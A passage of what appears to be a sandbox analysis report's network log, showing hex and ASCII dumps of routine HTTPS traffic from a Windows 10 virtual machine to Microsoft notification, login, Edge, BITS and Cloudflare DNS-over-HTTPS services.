74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:36:26 UTC	1063	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 30 0d 0a 4d 53 2d 43 56 3a 20 6f 67 75 43 69 41 79 32 50 30 4b 71 41 33 74 65 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 37 33 39 66 31 63 64 64 65 39 65 65 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c 7a Data Ascii: ATH 2 CON\DEVICE 1040MS-CV: oguCiAy2P0KqA3te.2Context: b6739f1cdde9ee6<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZlz
2024-07-26 08:36:26 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 6f 67 75 43 69 41 79 32 50 30 4b 71 41 33 74 65 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 37 33 39 66 31 63 64 64 65 39 65 65 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: oguCiAy2P0KqA3te.3Context: b6739f1cdde9ee6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:36:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:36:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 49 2b 43 31 74 59 43 68 6b 69 4a 6b 44 62 47 57 41 5a 48 66 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6I+C1tYChkiJkDbGWAZHfw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49721	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:36:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4697 Host: login.live.com
2024-07-26 08:36:27 UTC	4697	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-26 08:36:28 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Jul 2024 08:35:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 53ee9037-2ba3-4ec6-b3e4-c897fd55c921 PPServer: PPV: 30 H: PH1PEPF00018C06 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Jul 2024 08:36:27 GMT Connection: close Content-Length: 10921
2024-07-26 08:36:28 UTC	10921	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49737	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:36:46 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 61 64 38 4f 52 63 55 48 30 75 37 44 2f 4e 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 35 35 32 31 65 63 37 38 30 65 36 33 64 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Uad8ORcUH0u7D/Nq.1Context: d95521ec780e63d3
2024-07-26 08:36:46 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:36:46 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 55 61 64 38 4f 52 63 55 48 30 75 37 44 2f 4e 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 35 35 32 31 65 63 37 38 30 65 36 33 64 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: Uad8ORcUH0u7D/Nq.2Context: d95521ec780e63d3<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:36:46 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 61 64 38 4f 52 63 55 48 30 75 37 44 2f 4e 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 35 35 32 31 65 63 37 38 30 65 36 33 64 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Uad8ORcUH0u7D/Nq.3Context: d95521ec780e63d3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:36:46 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:36:46 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 36 37 6a 31 71 55 4d 33 6b 36 79 4b 65 65 50 58 39 33 6f 49 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +67j1qUM3k6yKeePX93oIQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49767	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:12 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 2f 6e 64 67 79 63 41 75 45 6b 36 35 31 47 7a 4e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 62 33 61 66 33 36 35 61 31 35 66 38 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: /ndgycAuEk651GzN.1Context: 23b3af365a15f8f
2024-07-26 08:37:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:37:12 UTC	1063	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 30 0d 0a 4d 53 2d 43 56 3a 20 2f 6e 64 67 79 63 41 75 45 6b 36 35 31 47 7a 4e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 62 33 61 66 33 36 35 61 31 35 66 38 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c 7a Data Ascii: ATH 2 CON\DEVICE 1040MS-CV: /ndgycAuEk651GzN.2Context: 23b3af365a15f8f<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZlz
2024-07-26 08:37:12 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 2f 6e 64 67 79 63 41 75 45 6b 36 35 31 47 7a 4e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 62 33 61 66 33 36 35 61 31 35 66 38 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: /ndgycAuEk651GzN.3Context: 23b3af365a15f8f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:37:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:37:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 2b 6b 56 41 35 5a 50 32 6b 36 4c 30 34 46 44 68 6a 73 41 32 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6+kVA5ZP2k6L04FDhjsA2w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49773	94.245.104.56	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:15 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 08:37:15 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 26 Jul 2024 08:37:15 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=af27587ba86e2e2aa791a52417aa6c585c82244cf3bd8746d9cd4bf5c38fbf44;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=af27587ba86e2e2aa791a52417aa6c585c82244cf3bd8746d9cd4bf5c38fbf44;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49794	172.64.41.3	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:18 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 08:37:18 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 08:37:18 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 08:37:18 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a931125cfa91a40-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 08:37:18 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 85 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49793	162.159.61.3	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:18 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 08:37:18 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 08:37:18 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 08:37:18 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a931125c9fc4356-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 08:37:18 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 11 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49795	162.159.61.3	443	7008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:18 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-26 08:37:18 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-26 08:37:18 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 26 Jul 2024 08:37:18 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a931126d9ca8c81-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 08:37:18 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 9c 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49815	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:37:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-26 08:37:24 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=253584 Date: Fri, 26 Jul 2024 08:37:24 GMT Connection: close X-CID: 2

